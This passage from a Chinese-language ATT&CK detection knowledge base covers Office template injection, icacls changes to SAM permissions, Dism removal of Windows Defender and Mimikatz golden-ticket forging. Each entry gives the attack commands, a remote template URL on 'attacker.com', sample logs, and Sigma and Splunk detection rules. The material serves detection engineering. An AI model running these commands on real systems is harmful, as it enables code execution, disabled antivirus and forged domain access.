Target=\"http://attacker.com/opencalc.dotm\" TargetMode=\"External\"/>\n     ```\n   - 重新打包为`.docx`。\n3. 通过钓鱼邮件或其他方式将`malicious.docx`分发至目标。\n\n**预期结果**：\n- 打开`malicious.docx`时，Word自动下载`opencalc.dotm`。\n- 模板中的宏代码执行，启动`Calculator.exe`并尝试禁用防病毒软件。\n\n**清理命令**：\n- 关闭Word进程：`taskkill /IM winword.exe /F`\n- 删除测试文件：`del malicious.docx`\n\n## 检测日志\n\n- **Windows安全日志**：Event ID 4688（进程创建），记录Word子进程（如`Calculator.exe`、`powershell.exe`）的执行。\n- **Sysmon日志**：\n  - Event ID 1（进程创建），捕获Word及其子进程的命令行和父进程信息。\n  - Event ID 3（网络连接），记录Word发起的HTTP/SMB连接。\n- **Windows系统日志**：可能记录防病毒服务（如`WinDefend`）状态变更（若被禁用）。\n\n**注意**：模板注入本身不直接生成日志，检测需依赖后续行为（如宏执行、网络连接、子进程创建）。\n\n## 测试复现\n\n**测试环境**：未安装Microsoft Office，无法执行复现。\n\n**假设环境**：Windows 10，安装Microsoft Word 2016。\n\n**复现步骤**：\n1. 托管`opencalc.dotm`于Web服务器（如`http://192.168.1.100/opencalc.dotm`）。\n2. 创建`malicious.docx`，注入模板引用：\n   - 使用工具（如OpenXML SDK）或手动编辑`word/_rels/settings.xml.rels`：\n     ```xml\n     <Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">\n       <Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate\" Target=\"http://192.168.1.100/opencalc.dotm\" TargetMode=\"External\"/>\n     </Relationships>\n     ```\n3. 运行攻击命令：\n   ```cmd\n   start malicious.docx\n   ```\n4. 观察Word是否下载模板并执行宏，检查是否启动`Calculator.exe`。\n\n**预期结果**（未实际测试）：\n- Word打开`malicious.docx`，发起HTTP请求下载`opencalc.dotm`。\n- 若宏启用，执行`Calculator.exe`并尝试禁用防病毒软件。\n- 日志记录Word的网络连接和子进程创建。\n\n## 测试留痕\n\n**假设留痕**（基于预期行为）：\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n用户: N/A\n计算机: WIN10-TEST\n描述:\n已创建新进程。\n\n创建者主题:\n  安全 ID: WIN10-TEST\\user\n  帐户名: user\n  帐户域: WIN10-TEST\n  登录 ID: 0x12345\n\n目标主题:\n  安全 ID: NULL SID\n  帐户名: -\n  帐户域: -\n  登录 ID: 0x0\n\n进程信息:\n  新进程 ID: 0x1a2b\n  新进程名称: C:\\Windows\\System32\\calc.exe\n  令牌提升类型: %%1938\n  强制性标签: Mandatory Label\\Medium Mandatory Level\n  创建者进程 ID: 0x3c4d\n  创建者进程名称: C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\WINWORD.EXE\n  进程命令行: calc.exe\n```\n\n**分析**：\n- 日志记录`calc.exe`由`WINWORD.EXE`启动，表明模板宏执行。\n- 父进程为Word，提示模板注入触发。\n\n### Sysmon日志（Event ID 3：网络连接）\n\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2023/10/01 10:00:00\n事件 ID: 3\n任务类别: Network connection detected (rule: NetworkConnect)\n级别: 信息\n用户: SYSTEM\n计算机: WIN10-TEST\n描述:\nNetwork connection detected:\nRuleName: technique_id=T1221,technique_name=Template Injection\nUtcTime: 2023-10-01 02:00:00.123\nProcessGuid: {12345678-1234-5678-1234-567890123456}\nProcessId: 1234\nImage: C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\WINWORD.EXE\nUser: WIN10-TEST\\user\nProtocol: tcp\nDestinationIp: 192.168.1.100\nDestinationPort: 80\nDestinationHostname: attacker.com\n```\n\n**分析**：\n- Word发起HTTP连接到`192.168.1.100:80`，下载`opencalc.dotm`。\n- 网络活动与模板注入相关。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 检测Office应用程序的模板注入行为\ndescription: Detects suspicious process execution or network activity initiated by Microsoft Office applications indicative of template injection.\nstatus: experimental\ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1221/\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_process:\n    EventID:\n      - 4688 # Windows安全日志\n      - 1    # Sysmon日志\n    ParentImage|endswith: '\\WINWORD.EXE'\n    Image|endswith:\n      - '\\calc.exe'\n      - '\\powershell.exe'\n      - '\\cmd.exe'\n  selection_network:\n    EventID: 3 # Sysmon网络连接\n    Image|endswith: '\\WINWORD.EXE'\n    DestinationPort: \n      - 80\n      - 443\n      - 445 # SMB连接可能用于强制认证\n  condition: selection_process or selection_network\nfields:\n  - Image\n  - ParentImage\n  - CommandLine\n  - DestinationIp\n  - DestinationPort\nfalsepositives:\n  - Legitimate Office macros or network activity\nlevel: high\ntags:\n  - attack.execution\n  - attack.t1221\n```\n\n**规则说明**：\n- 检测Word启动可疑子进程（如`calc.exe`、`powershell.exe`）或发起网络连接（HTTP/HTTPS/SMB）。\n- 覆盖Windows安全日志（Event ID 4688）、Sysmon进程创建（Event ID 1）和网络连接（Event ID 3）。\n- 规则为实验性，需测试以减少合法宏或网络活动的误报。\n\n### 建议\n\n1. **监控Office进程行为**：\n   - 使用Sysmon（Event ID 1）捕获Office应用程序（如`WINWORD.EXE`）的子进程创建，检查是否启动异常进程（如`calc.exe`、`powershell.exe`）。\n   - 监控Event ID 3（网络连接），检测Office发起的HTTP/HTTPS/SMB连接，尤其是非预期目标。\n\n2. **启用命令行审计**：\n   - 配置Windows安全策略，启用进程跟踪审核（Event ID 4688）并记录命令行参数。\n   - 确保Sysmon配置捕获进程命令行和网络事件。\n\n3. **基线化Office行为**：\n   - 建立Office应用程序的正常行为基线，识别异常子进程或网络连接。\n   - 生产环境中，Word不应直接发起外部连接或启动可执行文件。\n\n4. **限制宏和模板**：\n   - 使用组策略禁用Office宏或仅允许签名宏运行。\n   - 配置Word阻止外部模板加载（`HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Word\\Security\\BlockContentExecutionFromInternet`）。\n   - 部署Office安全补丁，修复已知模板注入漏洞。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析安全日志和Sysmon日志，检测模板注入相关行为。\n   - 设置高优先级告警，针对Office的异常子进程或网络活动。\n\n6. **行为链关联**：\n   - 将模板注入与其他攻击阶段（如钓鱼邮件、网络钓鱼、凭据捕获）关联，识别完整攻击链。\n   - 例如，检测Word下载模板后是否触发PowerShell执行或SMB认证。\n\n7. **网络防御**：\n   - 配置防火墙阻止Office应用程序的非必要出站连接（如非公司域名）。\n   - 监控SMB流量，检测异常NTLM认证尝试。\n\n8. **测试与验证**：\n   - 在测试环境中模拟模板注入（如使用`opencalc.dotm`），验证检测规则有效性。\n   - 调整规则阈值，排除合法Office操作的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1221  \n  <https://attack.mitre.org/techniques/T1221/>\n- Atomic Red Team T1221  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1221/T1221.md>\n- Microsoft Office模板注入分析  \n  <https://www.fireeye.com/blog/threat-research/2017/07/malware-delivery-via-microsoft-office-template-injection.html>\n"
  },
  {
    "path": "Windows/07逃避防御/T1222.001-Win-文件权限修改.md",
    "content": "# T1222.001-Win-文件权限修改\n\n## 描述\n\n攻击者可能通过修改文件或目录的权限（即任意访问控制列表，DACL）来规避访问控制或启用恶意活动（MITRE ATT&CK T1222.001）。Windows中的DACL由文件/目录所有者定义，指定用户或组的权限（如读取、写入、执行）。攻击者可更改这些权限以实现以下目标：\n- **规避检测**：修改关键文件权限，防止安全工具访问或监控。\n- **持久化**：通过更改配置文件权限（如登录脚本、可访问性功能）植入恶意代码。\n- **破坏防护**：替换或删除受保护的文件（如安全工具二进制文件）。\n\n修改权限通常需要提升的权限（如Administrator）或文件所有权，常用工具包括`icacls.exe`（改进的`cacls.exe`）、`takeown.exe`或`attrib.exe`。这些操作可能是其他攻击技术的先决条件，如二进制文件污染、工具劫持或持久化。\n\n## 测试案例\n\n### 测试1：使用icacls修改文件权限\n\n攻击者使用`icacls.exe`授予普通用户对关键系统文件的完全控制权限（如`C:\\Windows\\System32\\config\\SAM`），以便后续修改或替换。\n\n**攻击命令**（需管理员权限）：\n```cmd\nicacls C:\\Windows\\System32\\config\\SAM /grant Everyone:F\n```\n\n**恢复命令**：\n```cmd\nicacls C:\\Windows\\System32\\config\\SAM /reset\n```\n\n**说明**：\n- `/grant Everyone:F`：授予“Everyone”完全控制权限（F=Full Control）。\n- `/reset`：恢复默认继承的ACL。\n- 目标文件为SAM注册表文件，控制本地账户数据库，修改其权限可能允许攻击者篡改凭据。\n\n## 检测日志\n\n- **Windows安全日志**：\n  - Event ID 4670：权限更改，记录DACL修改。\n  - Event ID 4688：进程创建，记录`icacls.exe`等工具的执行（需启用进程跟踪审核）。\n- **Sysmon日志**：\n  - Event ID 1：进程创建，捕获`icacls.exe`、`takeown.exe`或`attrib.exe`的命令行。\n  - Event ID 13：注册表修改，可能记录权限相关配置更改。\n\n## 测试复现\n\n### 测试1：使用icacls修改文件权限\n\n**测试环境**：Windows Server 2019\n\n**攻击命令**：\n```cmd\nC:\\Windows\\system32>icacls C:\\Windows\\System32\\config\\SAM /grant Everyone:F\nprocessed file: C:\\Windows\\System32\\config\\SAM\nSuccessfully processed 1 files; Failed processing 0 files\n```\n\n**验证命令**：\n```cmd\nicacls C:\\Windows\\System32\\config\\SAM\n```\n\n**输出示例**：\n```\nC:\\Windows\\System32\\config\\SAM Everyone:(F)\n                               NT AUTHORITY\\SYSTEM:(I)(F)\n                               BUILTIN\\Administrators:(I)(F)\n```\n\n**结果**：\n- `Everyone`组获得完全控制权限，允许任何用户修改SAM文件。\n- 日志记录`icacls.exe`执行和权限更改。\n\n**恢复命令**：\n```cmd\nicacls C:\\Windows\\System32\\config\\SAM /reset\n```\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4670：权限更改）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4670\n任务类别: Authorization Policy Change\n级别: 信息\n用户: N/A\n计算机: WIN-SRV2019\n描述:\n权限已更改。\n\n主题:\n  安全 ID: S-1-5-21-1234567890-123456789-123456789-500\n  帐户名: Administrator\n  帐户域: WIN-SRV2019\n  登录 ID: 0x3E7\n\n对象:\n  对象服务器: Security\n  对象类型: File\n  对象名称: C:\\Windows\\System32\\config\\SAM\n  句柄 ID: 0x1234\n\n进程信息:\n  进程 ID: 0x5678\n  进程名称: C:\\Windows\\System32\\icacls.exe\n\n权限更改:\n  原始安全描述符: D:(A;;FA;;;BA)(A;;FA;;;SY)\n  新安全描述符: D:(A;;FA;;;WD)(A;;FA;;;BA)(A;;FA;;;SY)\n```\n\n**分析**：\n- 日志记录`icacls.exe`修改`SAM`文件的DACL，添加`Everyone`（WD=World）的完全权限。\n- 新安全描述符显示`Everyone:(A;;FA;;;WD)`，表明权限变更。\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n用户: N/A\n计算机: WIN-SRV2019\n描述:\n已创建新进程。\n\n创建者主题:\n  安全 ID: S-1-5-21-1234567890-123456789-123456789-500\n  帐户名: Administrator\n  帐户域: WIN-SRV2019\n  登录 ID: 0x3E7\n\n目标主题:\n  安全 ID: NULL SID\n  帐户名: -\n  帐户域: -\n  登录 ID: 0x0\n\n进程信息:\n  新进程 ID: 0x5678\n  新进程名称: C:\\Windows\\System32\\icacls.exe\n  令牌提升类型: %%1936\n  强制性标签: Mandatory Label\\High Mandatory Level\n  创建者进程 ID: 0x9abc\n  创建者进程名称: C:\\Windows\\System32\\cmd.exe\n  进程命令行: icacls C:\\Windows\\System32\\config\\SAM /grant Everyone:F\n```\n\n**分析**：\n- 日志记录`icacls.exe`执行，命令行包含`/grant Everyone:F`。\n- 父进程为`cmd.exe`，提示通过命令提示符触发。\n\n## 检测规则/思路\n\n### Splunk规则\n\n```spl\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventCode=1 Image IN (\"*\\\\icacls.exe\", \"*\\\\takeown.exe\", \"*\\\\attrib.exe\")) OR (EventCode=1 CommandLine=\"*/grant*\") | table _time, host, user, Image, CommandLine, ParentImage\n```\n\n**规则说明**：\n- 监控Sysmon日志中`icacls.exe`、`takeown.exe`或`attrib.exe`的执行，或命令行包含`/grant`的操作。\n- 提取时间、主机、用户、进程路径、命令行和父进程信息。\n- 适用于Splunk环境，需调整为其他SIEM系统。\n\n### Sigma规则\n\n```yaml\ntitle: 检测文件权限修改行为\ndescription: Detects execution of icacls.exe, takeown.exe, or attrib.exe to modify file or directory permissions.\nstatus: experimental\ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1222/001/\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_tools:\n    EventID:\n      - 4688 # Windows安全日志\n      - 1    # Sysmon日志\n    Image|endswith:\n      - '\\icacls.exe'\n      - '\\takeown.exe'\n      - '\\attrib.exe'\n  selection_grant:\n    EventID:\n      - 4688\n      - 1\n    CommandLine|contains: '/grant'\n  selection_permission_change:\n    EventID: 4670\n    ObjectType: File\n  condition: selection_tools or selection_grant or selection_permission_change\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - ObjectName\nfalsepositives:\n  - Legitimate administrative file permission changes\nlevel: medium\ntags:\n  - attack.defense_evasion\n  - attack.t1222.001\n```\n\n**规则说明**：\n- 检测`icacls.exe`、`takeown.exe`或`attrib.exe`的执行，或命令行包含`/grant`。\n- 检测Event ID 4670，记录文件DACL更改。\n- 规则为实验性，需与基线行为对比以减少误报。\n\n### 建议\n\n1. **监控权限修改工具**：\n   - 使用Sysmon（Event ID 1）捕获`icacls.exe`、`takeown.exe`或`attrib.exe`的进程创建，检查命令行是否包含`/grant`、`/setowner`或`/inheritance`。\n   - 监控Event ID 4670，检测关键文件（如`C:\\Windows\\System32\\config`）的DACL更改。\n\n2. **启用命令行审计**：\n   - 配置Windows安全策略，启用进程跟踪审核（Event ID 4688）并记录命令行参数。\n   - 确保Sysmon配置捕获命令行信息。\n\n3. **基线化行为**：\n   - 建立权限修改工具的正常使用基线，生产环境中修改关键系统文件权限应极为罕见。\n   - 监控非管理员用户或非预期父进程（如`powershell.exe`）执行权限修改。\n\n4. **保护关键文件**：\n   - 配置关键文件/目录（如`C:\\Windows\\System32\\config`）的严格DACL，限制非系统账户访问。\n   - 启用文件完整性监控，检测未经授权的权限更改。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析安全日志和Sysmon日志，检测权限修改行为。\n   - 设置告警，针对关键文件的DACL更改或异常工具执行。\n\n6. **行为链关联**：\n   - 将权限修改与其他可疑行为（如文件替换、恶意进程执行）关联，识别攻击链。\n   - 例如，检测权限修改后是否出现注册表篡改或服务创建。\n\n7. **限制工具使用**：\n   - 使用AppLocker或组策略限制`icacls.exe`、`takeown.exe`的执行，仅允许特定管理账户使用。\n   - 监控未经授权的工具调用。\n\n8. **测试与验证**：\n   - 在测试环境中模拟权限修改（如修改SAM文件权限），验证检测规则有效性。\n   - 调整规则阈值，排除合法管理操作的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1222.001  \n  <https://attack.mitre.org/techniques/T1222/001/>\n- Windows icacls命令使用指南  \n  <https://www.jb51.net/os/windows/155450.html>\n- Microsoft文档：icacls命令  \n  <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/icacls>\n- Atomic Red Team T1222.001  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1222.001/T1222.001.md>\n"
  },
  {
    "path": "Windows/07逃避防御/T1548.002-Win-使用Dism删除Defender.md",
    "content": "# T1548.002-Win-使用Dism删除Defender\n\n## 描述\n\n攻击者可能通过绕过**用户账户控制（UAC）**机制提升进程权限，以在系统上执行高权限操作（MITRE ATT&CK T1548.002）。UAC是Windows的安全功能，限制进程的完整性级别，防止未经授权的管理员级操作。攻击者可利用UAC配置漏洞或特定工具（如`Dism.exe`）执行需要提升权限的任务，而无需用户确认提示。\n\n**Windows Defender**（由`WinDefend`服务支持）是Windows内置的防病毒解决方案。攻击者可能通过`Dism.exe`（部署映像服务和管理工具）移除Windows Defender的组件或功能，以禁用其防护能力，允许恶意软件运行而不会被检测。`Dism.exe`可用于管理操作系统包和功能，包括卸载Windows Defender相关包（如`Windows-Defender-AM-Default-Definitions`）。此操作需要管理员权限，且可能规避UAC提示（若UAC设置非最高级别），增加隐蔽性。\n\n## 测试案例\n\n### 测试1：使用Dism移除Windows Defender包\n\n攻击者通过`Dism.exe`移除Windows Defender相关包，禁用其防病毒功能。\n\n**准备步骤**：\n1. 查找Windows Defender相关包：\n   - 检查注册表路径：`HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Component Based Servicing\\Packages`\n   - 搜索包含`*Windows-Defender*`的条目，获取包名称（如`Windows-Defender-AM-Default-Definitions-OptionalWrapper-Package~31bf3856ad364e35~amd64~~10.0.22621.1`）。\n2. 使用`Dism.exe`移除指定包。\n\n**攻击命令**（需管理员权限）：\n```cmd\nDism.exe /online /quiet /norestart /remove-package /packagename:Windows-Defender-AM-Default-Definitions-OptionalWrapper-Package~31bf3856ad364e35~amd64~~10.0.22621.1\n```\n\n**恢复命令**（若支持回滚）：\n```cmd\nDism.exe /online /quiet /norestart /add-package /packagename:Windows-Defender-AM-Default-Definitions-OptionalWrapper-Package~31bf3856ad364e35~amd64~~10.0.22621.1\n```\n\n**说明**：\n- `/online`：针对当前运行的操作系统。\n- `/quiet`：静默执行，无用户交互。\n- `/norestart`：避免自动重启。\n- `/remove-package`：移除指定包，禁用Defender功能。\n- 命令需在提升的命令提示符中运行，否则报错740（需要提升权限）。\n\n## 检测日志\n\n- **Windows安全日志**：Event ID 4688（进程创建），记录`Dism.exe`的执行（需启用进程跟踪审核）。\n- **Windows系统日志**：Event ID 7036（服务状态变更），记录`WinDefend`服务停止（若Defender服务受影响）。\n- **Sysmon日志**：\n  - Event ID 1（进程创建），捕获`Dism.exe`的命令行参数。\n  - Event ID 13（注册表修改），记录Defender配置更改。\n\n## 测试复现\n\n### 测试1：尝试移除Windows Defender包\n\n**测试环境**：Windows 10/11\n\n**攻击命令**（非管理员权限）：\n```cmd\nC:\\Users\\jackma>Dism.exe /online /quiet /norestart /remove-package /packagename:Windows-Defender-AM-Default-Definitions-OptionalWrapper-Package~31bf3856ad364e35~amd64~~10.0.22621.1\n错误: 740\n需要提升权限才能运行 DISM。\n使用提升的命令提示符完成这些任务。\n```\n\n**攻击命令**（管理员权限）：\n```cmd\nC:\\Windows\\system32>Dism.exe /online /quiet /norestart /remove-package /packagename:Windows-Defender-AM-Default-Definitions-OptionalWrapper-Package~31bf3856ad364e35~amd64~~10.0.22621.1\n```\n\n**结果**：\n- 非管理员权限下，命令失败，报错740。\n- 管理员权限下，命令成功执行，移除指定Defender包（需验证Defender是否完全禁用）。\n- 日志记录`Dism.exe`执行，即使失败也生成进程创建事件。\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n用户: N/A\n计算机: MAJACKD3D7\n描述:\n已创建新进程。\n\n创建者主题:\n  安全 ID: S-1-5-21-4139220405-2433135684-1686031733-1000\n  帐户名: jackma\n  帐户域: MAJACKD3D7\n  登录 ID: 0x1f9f5\n\n目标主题:\n  安全 ID: S-1-0-0\n  帐户名: -\n  帐户域: -\n  登录 ID: 0x0\n\n进程信息:\n  新进程 ID: 0xa28\n  新进程名称: C:\\Windows\\System32\\Dism.exe\n  令牌提升类型: %%1938 (TokenElevationTypeLimited)\n  强制性标签: Mandatory Label\\Medium Mandatory Level\n  创建者进程 ID: 0x69c\n  创建者进程名称: C:\\Windows\\System32\\cmd.exe\n  进程命令行: Dism.exe /online /quiet /norestart /remove-package /packagename:Windows-Defender-AM-Default-Definitions-OptionalWrapper-Package~31bf3856ad364e35~amd64~~10.0.22621.1\n```\n\n**分析**：\n- 日志记录`Dism.exe`执行，命令行包含`remove-package`和`Windows-Defender`相关包名。\n- 父进程为`cmd.exe`，提示通过命令提示符触发。\n- 即使命令失败（错误740），日志仍记录尝试。\n\n### Windows系统日志（Event ID 7036：服务状态变更）\n\n```xml\n日志名称: System\n来源: Service Control Manager\n日期: 2023/10/01 10:00:00\n事件 ID: 7036\n任务类别: None\n级别: 信息\n用户: N/A\n计算机: MAJACKD3D7\n描述:\nWindows Defender Antivirus Service 服务处于 停止 状态。\n```\n\n**分析**：\n- 若Defender服务（`WinDefend`）因包移除而停止，生成此日志。\n- 仅在Defender完全禁用时触发。\n\n## 检测规则/思路\n\n### Splunk规则\n\n```spl\n| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=dism.exe (Processes.process=\"*/online*\" AND Processes.process=\"*/remove-package*\" AND Processes.process=\"*Windows-Defender*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id \n| `drop_dm_object_name(Processes)` \n| `security_content_ctime(firstTime)` \n| `security_content_ctime(lastTime)` \n| `windows_dism_remove_defender_filter`\n```\n\n**规则说明**：\n- 监控`Dism.exe`进程，筛选命令行包含`/online`、`/remove-package`和`Windows-Defender`的执行。\n- 使用Endpoint.Processes数据模型，提取进程详细信息。\n- 规则适用于Splunk环境，需调整为其他SIEM系统。\n\n### Sigma规则\n\n```yaml\ntitle: 检测使用Dism移除Windows Defender\ndescription: Detects execution of Dism.exe to remove Windows Defender packages, potentially bypassing UAC.\nstatus: experimental\ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1548/002/\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID:\n      - 4688 # Windows安全日志\n      - 1    # Sysmon日志\n    Image|endswith: '\\Dism.exe'\n    CommandLine|contains|all:\n      - '/online'\n      - '/remove-package'\n      - 'Windows-Defender'\n  condition: selection\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - Legitimate administrative package management\nlevel: high\ntags:\n  - attack.privilege_escalation\n  - attack.t1548.002\n```\n\n**规则说明**：\n- 检测`Dism.exe`执行，命令行包含`/online`、`/remove-package`和`Windows-Defender`。\n- 覆盖Windows安全日志（Event ID 4688）和Sysmon日志（Event ID 1）。\n- 规则为实验性，需测试以减少合法包管理的误报。\n\n### 建议\n\n1. **监控Dism执行**：\n   - 使用Sysmon（Event ID 1）捕获`Dism.exe`的进程创建，检查命令行是否包含`remove-package`和`Windows-Defender`。\n   - 监控Event ID 13（注册表修改），检测Defender配置更改（如`HKLM\\SOFTWARE\\Microsoft\\Windows Defender`）。\n\n2. **启用命令行审计**：\n   - 配置Windows安全策略，启用进程跟踪审核（Event ID 4688）并记录命令行参数（需Windows 7+支持）。\n   - 确保Sysmon配置包含命令行信息。\n\n3. **基线化行为**：\n   - 建立`Dism.exe`的正常使用基线，生产环境中移除Defender包应极为罕见。\n   - 监控非管理员用户或非预期父进程（如`powershell.exe`）执行`Dism.exe`。\n\n4. **保护Defender服务**：\n   - 启用Windows Defender的防篡改保护，防止未经授权的禁用。\n   - 配置`WinDefend`服务为自动启动，防止手动停止。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析安全日志和Sysmon日志，检测Defender禁用行为。\n   - 设置高优先级告警，针对`Dism.exe`移除Defender包的尝试。\n\n6. **行为链关联**：\n   - 将Defender禁用与其他可疑行为（如恶意文件执行、网络连接）关联，识别攻击链。\n   - 例如，检测移除Defender后是否出现C2通信或勒索软件活动。\n\n7. **限制Dism使用**：\n   - 使用AppLocker或组策略限制`Dism.exe`的执行，仅允许特定管理账户使用。\n   - 监控未经授权的`Dism.exe`调用。\n\n8. **响应措施**：\n   - 检测到Defender禁用后，立即恢复Defender包（若可回滚）或重新启用服务（`net start WinDefend`）。\n   - 调查攻击来源，检查是否有后续恶意活动。\n\n9. **测试与验证**：\n   - 在测试环境中模拟移除Defender包，验证检测规则有效性。\n   - 调整规则阈值，排除合法管理操作的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1548.002  \n  <https://attack.mitre.org/techniques/T1548/002/>\n- 主流卸载Windows Defender方式分析  \n  <https://bbs.kafan.cn/thread-2252937-1-1.html>\n- Microsoft文档：Dism命令  \n  <https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/dism-command-line-options>\n- Atomic Red Team T1548.002  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.002/T1548.002.md>\n"
  },
  {
    "path": "Windows/07逃避防御/T1550.003-Win-黄金票据.md",
    "content": "# T1550.003-Win-黄金票据\n\n## 描述\n\n攻击者可能通过窃取并伪造Kerberos票据（称为“传递票据”，Pass-the-Ticket，PtT）在目标环境中横向移动，绕过系统访问控制（MITRE ATT&CK T1550.003）。Kerberos是Windows Active Directory（AD）环境中常用的身份验证协议，允许使用票据（如票据授予票据TGT或服务票据ST）进行身份验证，无需提供密码。\n\n**黄金票据（Golden Ticket）**是一种高级PtT攻击，通过伪造票据授予票据（TGT）实现对域内任意资源的访问。攻击者利用域密钥分发中心（KDC）服务账户`krbtgt`的NTLM哈希（或其他加密密钥，如AES256）生成伪造的TGT，从而冒充任何用户（包括域管理员）访问域内资源。黄金票据攻击通常在域控权限被获取后执行，作为持久化后门，即使域管理员密码被重置，攻击者仍可通过伪造票据维持访问。\n\n与**银票据（Silver Ticket）**不同，黄金票据针对整个域，而非单一资源。成功执行黄金票据攻击需要以下信息：\n- 域名称\n- 域SID\n- `krbtgt`账户的NTLM哈希或AES密钥\n- 伪造的用户名\n\n## 测试案例\n\n### 测试1：使用Mimikatz伪造黄金票据\n\n攻击者在获取`krbtgt`账户的NTLM哈希和域SID后，使用Mimikatz生成并注入伪造的TGT，访问域控资源。\n\n**环境要求**：\n- 域控：Windows Server 2016\n- 客户端：Windows 7（域内机器）\n- 工具：Mimikatz\n- 权限：需获取`krbtgt`哈希（通常通过域控权限或DCSync）\n\n**攻击步骤**：\n1. 获取`krbtgt`哈希和域SID。\n2. 清除客户端现有Kerberos票据。\n3. 伪造并注入黄金票据。\n4. 验证访问域控资源。\n\n## 检测日志\n\n- **Windows安全日志**：\n  - Event ID 4624：账户登录，记录Kerberos身份验证。\n  - Event ID 4672：特权分配，可能显示异常账户权限。\n  - Event ID 4768：TGT请求，记录AS-REP票据颁发。\n  - Event ID 4769：服务票据请求，记录TGS-REQ。\n- **Sysmon日志**：\n  - Event ID 1：进程创建，记录Mimikatz或其他工具执行。\n  - Event ID 10：进程访问，记录凭据转储尝试。\n\n## 测试复现\n\n### 测试环境\n\n- **域控**：Windows Server 2016（域：`abcc.org`，主机名：`ICBC`）\n- **客户端**：Windows 7（域内机器）\n- **工具**：Mimikatz\n\n### 测试过程\n\n#### 1. 尝试访问域控共享目录（未授权）\n\n**命令**：\n```cmd\ndir \\\\ICBC.abcc.org\\c$\n```\n\n![访问DC目录](https://s1.ax1x.com/2020/04/16/JFzcM6.png)\n\n**结果**：\n- 提示访问拒绝，表明当前用户无权限。\n\n#### 2. 导出krbtgt用户的哈希和SID\n\n在域控或具有DCSync权限的机器上使用Mimikatz提取`krbtgt`凭据。\n\n**命令**：\n```cmd\nmimikatz.exe \"lsadump::dcsync /domain:abcc.org /user:krbtgt\" exit\n```\n\n![凭据](https://s1.ax1x.com/2020/04/16/JFzXdg.png)\n\n**输出示例**：\n```\nObject RDN           : krbtgt\n** SAM ACCOUNT **\nSAM Username         : krbtgt\nAccount Type         : 30000000 ( USER_OBJECT )\nUser Account Control : 00000202 ( ACCOUNTDISABLE | NORMAL_ACCOUNT )\nSID                  : S-1-5-21-1234567890-123456789-123456789-502\nCredentials:\n  Hash NTLM: aabbccddeeff11223344556677889900\n  Hash AES256: 11223344556677889900aabbccddeeff11223344556677889900aabbccdd\n```\n\n**说明**：\n- 记录`NTLM`哈希（`aabbccddeeff11223344556677889900`）和域SID（`S-1-5-21-1234567890-123456789-123456789`）。\n- 可通过其他方法（如凭据转储）获取`krbtgt`哈希。\n\n#### 3. 清除客户端Kerberos票据\n\n在域内客户端上使用Mimikatz查看并清除当前票据。\n\n**查看票据**：\n```cmd\nmimikatz.exe \"kerberos::list\" exit\n```\n\n**清除票据**：\n```cmd\nmimikatz.exe \"kerberos::purge\" exit\n```\n\n![清理凭据](https://s1.ax1x.com/2020/04/16/JFzjoQ.png)\n\n**结果**：\n- 清除现有票据，确保伪造票据生效。\n\n#### 4. 伪造TGT票据\n\n##### 方法1：直接注入黄金票据\n\n**命令**：\n```cmd\nmimikatz.exe \"kerberos::golden /domain:abcc.org /sid:S-1-5-21-1234567890-123456789-123456789 /rc4:aabbccddeeff11223344556677889900 /user:fakeadmin /ptt\" exit\n```\n\n![伪造](https://s1.ax1x.com/2020/04/16/JkSAwF.png)\n\n**参数说明**：\n- `/domain`：域名称（`abcc.org`）\n- `/sid`：域SID\n- `/rc4`：`krbtgt`的NTLM哈希\n- `/user`：伪造的用户名（任意，如`fakeadmin`）\n- `/ptt`：直接注入票据到当前会话\n\n**结果**：\n- 